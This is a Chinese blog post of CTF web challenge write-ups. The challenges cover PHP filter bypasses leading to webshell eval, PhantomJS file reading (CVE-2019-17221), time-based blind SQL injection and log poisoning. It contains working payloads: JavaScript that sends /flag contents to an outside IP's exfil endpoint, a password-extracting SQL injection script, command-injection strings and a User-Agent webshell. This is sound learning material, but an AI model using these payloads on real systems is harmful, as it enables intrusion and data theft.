首页 > 其他分享 >web_week6

web_week6

时间:2024-07-29 17:08:14浏览次数:9  
标签:web get die flag 36dCTFShow str week6 ireplace

代码审计

给你shell

考点:

1.fuzz
2.爆破
3.取反绕过

解题过程:

step1:在源代码上看到/?view.source和flag在flag.txt里面
访问/?view.source
 <?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
    show_source(__FILE__);
    die;
}

function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}

function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die; 


checkCookie里面检查secret cookie的内容是否符合特定格式。它期望secret cookie包含一个以{"secret"开头的JSON字符串,后跟一系列的双引号、数字或大写字母。如果格式正确,函数返回true;否则,它清除secret cookie并返回false。

haveFun接受一个参数$_f_g,计算其MD5散列,转换为大写,然后遍历散列的每个字符,将每个字符的ASCII值与0xC0进行位与操作,并打印结果。

如果$_COOKIE['secret']存在,其值被赋给$json;如果不存在,则创建一个新的secret cookie,其值为{"secret":"加上'y1ng'的MD5散列的大写形式"}',并设置其有效期为当前时间加7200秒(两小时)

使用checkCookie函数验证$json。如果验证通过,$json被解码为一个数组并赋给$obj;如果失败,就终止脚本。

如果$obj存在且$_GET['give_me_shell']被设置,脚本会检查$obj['secret']是否与$flag_md5相等。如果不等,调用haveFun($flag);如果相等,输出一个字符串告知用户webshell的路径。

step2:
传入/?give_me_flag,回显了一串值是 0006464640064064646464006406464064640064006400000000000
说明进入了havefun所以我们想要得到webshell路径可以尝试爆破找出那两个值相等的secret值,打开burp,看到115的值可以满足
secret={"secret":115}进入之后他给了webshell路径 
here is your webshell: w3b5HeLLlll123.php直接访问得到另一个源代码

image-20240724143734840

 <?php
error_reporting(0);
session_start();


//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";


if (!$_SESSION['login'])
    die('<script>location.href=\'./index.php\'</script>');


if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        //清空session 从头再来
        eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}


/*
 * When you feel that you are lost, do not give up, fight and move on.
 * Being a hacker is not easy, it requires effort and sacrifice.
 * But remember … we are legion!
 *  ————Deep CTF 2020
*/ 

在这个页面要传入的code参数,以及这里的$secret_waf我们不知道这段代码
//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";
可以先fuzz一下看看过滤了什么

image-20240724151246542

上面这些都被过滤了,然后我们现在的code在是在$_SESSION[" . $code . "]=false;里面,要逃出来,然后所以要先用]=1?>把前面的闭合掉,然后执行我们读文件的代码,想用system什么的,但是()""/什么的都被过滤了,注意这个代码上面有require "hidden_filter.php";所以require可以帮我们读取文件,
又因为fF被过滤了我们可以利用取反绕过
payload:
?code=]=1?><?=require~%D0%99%93%9E%98%D1%8B%87%8B?>
又说在/flag里面
?code=]=1?><?=require~%D0%99%93%9E%98?>

还有个这里的]=1是为了防止语法错误

漏洞复现

RemoteImageDownloader

考点:

PhantomJS 到 2.1.1 有一个任意文件读取漏洞,如 file:// URI 的 XMLHttpRequest 所示。该漏洞存在于网页模块的 page.open() 函数中,该函数加载指定的 URL 并调用给定的回调。攻击者可以提供特制的 HTML 文件作为用户输入,允许读取文件系统上的任意文件。例如,如果 page.render() 是函数回调,则生成目标文件的 PDF 或图像。

CVE-2019-17221、PhantomJS任意文件读取
https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/(讲的很好)

解题过程:

step1:
发现输入一个网址就会下载图片
step2:
看的wp,wp就是在云服务器上部署以下文件
<html>
<script src="http://123.58.209.80:8000/test.js"></script>
</html>
function reqListener () {
    var encoded = encodeURI(this.responseText);
    var b64 = btoa(this.responseText);
    var raw = this.responseText;
    document.write('<iframe src="http://123.58.209.80/exfil?data='+b64+'"></iframe>');
} 
var oReq = new XMLHttpRequest(); 
oReq.addEventListener("load", reqListener); 
oReq.open("GET", "file:///flag"); 
oReq.send();
//从本地文件系统加载一个文件(file:///flag),然后将文件的内容以不同的格式(编码的URI字符串、Base64编码字符串和原始字符串)处理,并最终将Base64编码后的字符串通过一个iframe标签发送到一个远程服务器。
或者可以用这个
<html>
 <head>
 <body>
 <script>
 x=new XMLHttpRequest;
 x.onload=function(){
 document.write(this.responseText)
 };
 x.open("GET","file:///flag");
 x.send();
 </script>
 </body>
 </head>
</html>
部署完之后开启http服务得到一串base然后解密

image-20240725120634181

代码审计

WUSTCTF_朴实无华_Revenge

考点:

绕过

解题过程

 <?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}//判断是否是回文,是回文返回true,不是返回false

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.-]/', $num)) {
        die("非洲欢迎你1");
    }
    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧


level 1要求必须是数字,范围在-999999999999999999到999999999999999999之间,并且num取反之后正反数据要一样且不是回文
num=0.00就可以绕过
leve 2 要求两次md5数据之后可以通过弱比较
md5=0e1138100474
level 3
把大部分查看的命令给过滤了,在ls /的时候,发现空格也被过滤了用%09绕过
get_flag=nl%09/flag

逐位法sql盲注

Login_Only_For_36D

考点:

sql盲注

解题过程:

是一个sql注入,测试发现注入点在password那个位置

image-20240727144007919

fuzz了一下发现这些被过滤了
然后联合报错那些都不太行了,盲注的话,我这里用的大神的脚本
import requests
import time as t
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

url = 'https://3695ba6e-326b-4a8c-a5c2-69f11e94f5d8.challenge.ctf.show/index.php'
list_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
passwd = ''
# 没有回显,所以用时间盲注
# select * from user where username='admin\' and password='or if((password regexp binary "^passwd_part"),sleep(3),1)#'
# binary能够匹配大小写
for i in range(16):
    for char in list_char:
        passwd_t = passwd + char
        payload = 'or/**/if((password/**/regexp/**/binary/**/"^' + passwd_t + '"),sleep(2),1)#'
        data = {
            'username': 'admin\\',
            'password': payload
        }
        start = int(t.time())
        requests.post(url, data=data, verify=False)
        end = int(t.time())
        if end - start >= 2:
            passwd += char
            print(passwd)
            break
然后这个脚本我看了下,他是尝试通过爆破密码的前一部分是否和admin的密码前一部分一样,一样的话服务器会延迟2秒,这种方法被称为逐位法
得到密码:ILoVeThlrtySixD
登录就拿到了。

RCE

你取吧

知识点:

利用数组来绕过

解题过程:

 <?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('nonono');
    }
}
eval("echo($code);");
?>
发现这里的26个字母被编成数组然后充当黑名单会被过滤掉,需要绕过这里,然后利用eval函数去rce
法一:利用数组去绕过
system=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11]
ls=$_[13].$_[18]
cat=$_[2].$_[0].$_[19]
flag=$_[5].$_[13].$_[0].$_[6]
system("cat /flag");
1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$___=$_[2].$_[0].$_[19].' '.'/'.$_[5].$_[13].$_[0].$_[6];$__($___);(1
1)(1用来闭合echo,就可以拿到flag

代码审计

WUSTCTF_朴实无华_Revenge_Revenge

考点:

绕过

解题过程:

 <?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.]/', $num)) {
        die("非洲欢迎你1");
    } else {
        if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
            die("没有这样的数");
        }
    }
    if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }

    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        if (preg_match("/['\*\"[?]/", $get_flag)) {
            die('非预期修复*2');
        }
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

去非洲吧

和上一道差不多,但是加了点过滤
?num=0.00&md5=0e1138100474&get_flag=ca\t%09flag.p\hp
查看源代码就获得了

上传木马

ALL_INFO_U_WANT

考点:

目录扫描
ua注入木马
目录穿越
grep命令

解题过程:

step1:
进去查看源代码,让我们用自己扫描器去看看,扫出来index.php.bak,获得源代码:

visit all_info_u_want.php and you will get all information you want

= =Thinking that it may be difficult, i decided to show you the source code:


<?php
error_reporting(0);

//give you all information you want
if (isset($_GET['all_info_i_want'])) {
    phpinfo();
}

if (isset($_GET['file'])) {
    $file = "/var/www/html/" . $_GET['file'];
    //really baby include
    include($file);
}

?>



really really really baby challenge right? 

在/all_info_u_want.php传参,能看到phpinfo都比较正常;
要利用到include()
试了一下目录穿越
file=../../../../../flag得到了假的flag
访问日志:
file=../../../../../var/log/nginx/access.log 
然后利用user agent传入木马
然后cmd=system('ls /');  cmd=system('cat /flag')
回显说flag在etc里面
然后etc文件有很多,而且里面有的打开需要一定的权限,我们可以使用grep命令
grep -r "ctfshow{" /etc

标签:web,get,die,flag,36dCTFShow,str,week6,ireplace
From: https://www.cnblogs.com/dleyi/p/18330496

相关文章

  • SSM整合Web工程报错Unable to locate Spring NamespaceHandler for XML schema namesp
    博主在启动Tomcat后报错这个 org.springframework.beans.factory.parsing.BeanDefinitionParsingException:Configurationproblem:UnabletolocateSpringNamespaceHandlerforXMLschemanamespace[http://www.springframework.org/schema/tx]Offendingresource:cl......
  • springboot+vue基于web点餐小程序的个性化推荐演示录像【程序+论文+开题】-计算机毕业
    系统程序文件列表开题报告内容研究背景随着互联网技术的飞速发展,餐饮业正经历着前所未有的变革。传统餐饮模式逐渐向智能化、数字化转型,其中,基于Web的点餐小程序凭借其便捷性、高效性和广泛的用户覆盖,成为了餐饮行业的重要服务形式。然而,在海量美食信息与多样化消费者需求......
  • springboot+vue基于web的中草药信息管理系统【程序+论文+开题】-计算机毕业设计
    系统程序文件列表开题报告内容研究背景随着中医药在全球范围内的日益普及与认可,中草药作为中医药体系的核心组成部分,其信息的系统化、标准化管理显得尤为重要。然而,当前市场上缺乏一个全面、便捷且基于Web的中草药信息管理系统,导致中草药信息零散、不易获取,既不利于中医药......
  • Javaweb简单的学生管理系统(增删改)
    学生servletimportjavax.servlet.ServletException;importjavax.servlet.annotation.WebServlet;importjavax.servlet.http.HttpServlet;importjavax.servlet.http.HttpServletRequest;importjavax.servlet.http.HttpServletResponse;importjava.io.IOException;......
  • windows编译ZLMediaKit流媒体服务webrtc
    环境说明ZLMediaKit编译需要的软件visualstudio 2022cmake 3.29.0-rc2OpenSSL 1.1.1w(不想踩坑的话安装这个版本)libsrtp 2.6.0ZLMediaKit编译后运行需要libsrtp 编译后且配置环境变量ZLMediaKit 编译后文件cmakevisualstuido20222,自带cmakecmake可以到这两个地方......
  • 搭建自动化 Web 页面性能检测系统 —— 部署篇
    我们是袋鼠云数栈UED团队,致力于打造优秀的一站式数据中台产品。我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值。本文作者:琉易liuxianyu.cn这一篇是系列文章:搭建自动化Web页面性能检测系统——设计篇搭建自动化Web页面性能检测系统——实现篇作为......
  • c# 请求 web api ssl失败1
    .net低版本请求https接口失败,,,升级.net版本后解决,,同时忽略ssl验证publicstringHttpPost(stringurl,stringbody){Encodingencoding=Encoding.UTF8;stringjsonText=string.Empty;stringdataText1=string.Emp......
  • Gin框架深度解析:构建高性能Go Web应用的基石
    Gin框架深度解析:构建高性能GoWeb应用的基石在当今的Web开发领域,选择一个合适的框架对于项目的成功至关重要。Gin,作为一款用Go(Golang)语言编写的Web框架,凭借其高性能、简洁的API设计以及丰富的特性,迅速在开发者社区中崭露头角。本文将深入解析Gin框架,从其核心特性、工作原理......
  • 使用 WebSocket 实现实时聊天
    个人名片......
  • KVM虚拟化(web控制)
    一、虚拟化介绍虚拟化:在一台计算机上虚拟出多个逻辑的计算机,而且每个逻辑计算机它可以是不同操作系统虚拟化技术:可以扩大硬件容量,单个cpu模拟出多个cpu并行,允许一个平台上同时运行多个操作系统,应用程序都可以在相互独立的空间内运行,而且互不影响。二、为什么使用虚拟......